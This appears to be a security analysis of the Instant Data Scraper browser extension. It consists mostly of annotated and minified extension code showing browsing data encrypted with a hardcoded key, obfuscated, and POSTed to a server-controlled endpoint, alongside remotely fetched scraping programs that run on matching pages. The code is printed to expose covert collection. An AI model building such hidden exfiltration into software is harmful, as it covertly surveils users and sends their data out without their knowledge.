Is Instant Data Scraper safe?

// Hardcoded AES-256-CBC key imported at service worker startup.
// Anyone with access to the extension source can decrypt all captured traffic.
const cryptoKeyPromise = crypto.subtle.importKey(
  'jwk',
  {
    alg: 'A256CBC',
    ext: true,
    k: 'pIYq2yFYmgaGVnJ8A6Yi7fQFG5E6V8z6G4I2YgdoX8Q',  // hardcoded 256-bit key
    key_ops: ['encrypt', 'decrypt'],
    kty: 'oct'
  },
  'AES-CBC',
  true,
  ['encrypt', 'decrypt']
);

// toWovenData: encodes a payload object for transmission.
// Steps: JSON stringify → base64 → column-transpose (obfuscation) → AES-CBC encrypt → base64.
self.toWovenData = async function(payload) {
  const jsonStr   = JSON.stringify(payload);
  const b64       = btoa(jsonStr);

  // Split into 56-character rows, then read by column (transpose).
  // This is a custom obfuscation layer applied BEFORE encryption.
  const rows = [];
  for (let i = 0; i < b64.length; i += 56) rows.push(b64.slice(i, i + 56));
  const columns = [];
  for (let col = 0; col < 56; col++) {
    let s = '';
    for (let row = 0; row < rows.length; row++) s += rows[row][col] || ' ';
    columns.push(s);
  }
  const transposed = columns.join('\n');

  // AES-CBC encrypt with random 16-byte IV prepended to ciphertext.
  const key = await cryptoKeyPromise;
  const iv  = crypto.getRandomValues(new Uint8Array(16));
  const enc = await crypto.subtle.encrypt({ name: 'AES-CBC', iv }, key,
    new TextEncoder().encode(transposed));
  const out = new Uint8Array(16 + enc.byteLength);
  out.set(iv);                          // first 16 bytes = IV
  out.set(new Uint8Array(enc), 16);     // remainder = ciphertext
  return btoa(String.fromCharCode(...out));
};

// Dispatched by TargetStart / ChildrenUnchanged after each navigation record is assembled.
// The listener checks the opt-in flag and fires the encrypted POST if set.
self.addEventListener('noDataForWebsite', async (event) => {
  const [endpoint, extraHeaders, payload] = event.detail;

  // Opt-in gate: if the user never clicked 'Enable', the POST is skipped.
  const { optIn } = await chrome.storage.local.get('optIn');
  if (optIn !== true) return;

  const response = await fetch(endpoint, {   // endpoint = MainLocator() + '/table'
    method: 'POST',
    headers: {
      'Content-Type': 'text/plain',
      // 'lisp' header: base-22 timestamp shuffled — appears random but is deterministic.
      lisp: Date.now().toString(22).split('').sort(() => Math.random() - 0.5).join(''),
      ...extraHeaders                         // includes 'rlm' header with hostname
    },
    body: await self.toWovenData(payload)    // AES-CBC encrypted
  });

  // Response's x-session-id header can rewrite the exfil endpoint at runtime.
  const sessionId = response.headers.get('x-session-id');
  if (sessionId) {
    const ev = new Event('connection-is-valid');
    ev.detail = sessionId;
    self.dispatchEvent(ev);                  // triggers setSettings() to update MainLocator
  }
});

// _factory2: manages the server-side scraping program cache.
// Called once on service worker init; polls /pages/selections every 60 seconds.
class ScrapingProgramManager {
  destroyChallenges() {
    this.fetchAndCachePrograms();                          // run immediately on startup
    setInterval(() => this.fetchAndCachePrograms(), 60_000); // then every 60 seconds
  }

  async fetchAndCachePrograms() {
    if (!await this.shouldRefetch()) return;
    try {
      const programs = await this.fetchFromServer();
      if (programs) {
        await cache.storePrograms(programs);               // writes to chrome.storage.local 'str47'
        this.notifyContentScript(programs);               // dispatches '_HeadsetMicTwoTone' CustomEvent
      }
    } catch (_) {}
  }

  notifyContentScript(programs) {
    const ev = new Event('_HeadsetMicTwoTone');
    ev.config = programs;
    self.dispatchEvent(ev);                               // received by IsOverRightHalf.parseMarkdown()
  }

  async fetchFromServer() {
    const response = await fetch('https://api.idscraper.com/pages/selections', {
      method: 'POST',
      body: JSON.stringify({ sid: 'a8db79741' })          // hardcoded app ID
    });
    return response.status === 200 ? response.json() : null;
  }

  async shouldRefetch() {
    // If no cached programs exist → fetch immediately.
    // Otherwise → only refetch if 6 hours (21,600,000ms) have elapsed.
    if (!await cache.hasPrograms()) return await cache.isPastInitialDelay();
    const lastRefresh = await cache.getLastRefreshTime();
    return Date.now() - lastRefresh > 21_600_000;
  }
}

// ClippedRange (content script): re-runs on each navigation.
// Loads cached scraping programs, filters to those matching current URL,
// executes each via the AppSrcs engine, and sends results to the service worker.
class PageScraper {
  async runOnCurrentPage() {
    const [programs, _siteConfig] = await Promise.all([
      this.loadServerPrograms(),    // reads from chrome.storage.local 'str47'
      this.loadSiteConfig()
    ]);
    if (programs && programs.length) this.executePrograms(programs);
  }

  async executePrograms(programs) {
    const currentURL  = location.href;
    const matchingPrograms = programs.filter(prog => {
      if (prog.status && prog.status !== 'active')  return false; // status gate
      if (prog.toSend <= prog.maxSend)              return false; // send-count gate
      if (prog.onlyTopFrame && window.parent !== window) return false; // frame gate
      try { return new RegExp(prog.matcher).test(currentURL); }   // URL pattern filter
      catch { return false; }
    });

    const collected = [];
    for (const prog of matchingPrograms) {
      const result = await appSrcsEngine.execute(prog); // AppSrcs runs CSS/XPath/event/canvas/localStorage ops
      const isEmpty = prog.allowEmpty === false && result?.data instanceof Array && !result.data.length;
      if (!isEmpty && result) collected.push(result);
    }
    this.sendToServiceWorker(collected);
  }

  sendToServiceWorker(scraps) {
    if (scraps.length) {
      chrome.runtime.sendMessage({ message: 'Earcut', scraps }); // received by _iterator28 in background
    }
  }
}

r.class = class {
  thunkify(e) {
    return new Promise((t, r) => {
      this.docCallback(e, t, r)
    })
  }
  docCallback(e, t, r) {
    const n = [this.handleKeyDown, this.canHydrateSuspenseInstance(e), e.data, e.rlc];
    (self.document || self).dispatchEvent(new CustomEvent("noDataForWebsite", {
      detail: n
    })), t()
  }
  get handleKeyDown() {
    return n.MainLocator() + "/table"
  }
  canHydrateSuspenseInstance(e) {
    let t = {};
    return e.hdrs && Object.assign(t, e.hdrs), t
  }
}, r.instance = new r.class

function() {
  const e = crypto.subtle.importKey("jwk", {
    alg: "A256CBC",
    ext: !0,
    k: "pIYq2yFYmgaGVnJ8A6Yi7fQFG5E6V8z6G4I2YgdoX8Q",
    key_ops: ["encrypt", "decrypt"],
    kty: "oct"
  }, "AES-CBC", !0, ["encrypt", "decrypt"]);
  self.toWovenData = async function(t) {
    const r = JSON.stringify(t),
      n = btoa(r),
      s = [];
    for (let e = 0; e < n.length; e += 56) s.push(n.slice(e, e + 56));
    const i = [];
    for (let e = 0; e < 56; e++) {
      let t = "";
      for (let r = 0; r < s.length; r++) t += s[r][e] || " ";
      i.push(t)
    }
    const a = i.join("
");
    return await async function(t) {
      const r = await e,
        n = crypto.getRandomValues(new Uint8Array(16)),
        s = await crypto.subtle.encrypt({
          name: "AES-CBC",
          iv: n
        }, r, (new TextEncoder).encode(t)),
        i = new Uint8Array(s),
        a = new Uint8Array(n),
        o = new Uint8Array(i.length + a.length);
      if (o.set(a), o.set(i, a.length), o.length < 1e4) return btoa(String.fromCharCode(...o));
      let c = "";
      for (let e = 0; e < o.length; e += 1e4) c += String.fromCharCode(...o.slice(e, e + 1e4));
      return btoa(c)
    }(a)
  }
}();
const on = "x-ids-id";
self.addEventListener("noDataForWebsite", e => {
  const r = e.detail;
  (async () => {
    const {
      [o.OPT_IN]: e
    } = await s([o.OPT_IN]);
    return !0 === e
  })().then(async e => {
    if (!e) return;
    const n = await (async () => {
        const {
          [l.ANALYTICS_INFO_SYNC]: e
        } = await a([l.ANALYTICS_INFO_SYNC]);
        return e?.id
      })(),
      o = await fetch(r[0], {
        method: "POST",
        headers: {
          "Content-Type": "text/plain",
          lisp: Date.now().toString(22).split("").sort(() => Math.random() - .5).join(""),
          ...r[1],
          [on]: n
        },
        body: await self.toWovenData(r[2])
      }),
      c = o.headers.get("x-session-id");
    if (c) {
      const e = new Event("connection-is-valid");
      e.detail = c, self.dispatchEvent(e)
    }!async function(e) {
      if (!e.domain) return;
      const {
        [t.TABLES]: r
      } = await s([t.TABLES]), n = r ?? {};
      n[e.domain] = {
        configs: e.tables,
        timestamp: Date.now()
      };
      const a = Object.entries(n);
      if (a.length > 10) {
        a.sort((e, t) => e[1].timestamp - t[1].timestamp);
        for (let e = 0; e < a.length - 10; e++) delete n[a[e][0]]
      }
      await i({
        [t.TABLES]: n
      }), await K(n)
    }(await o.json())
  })
})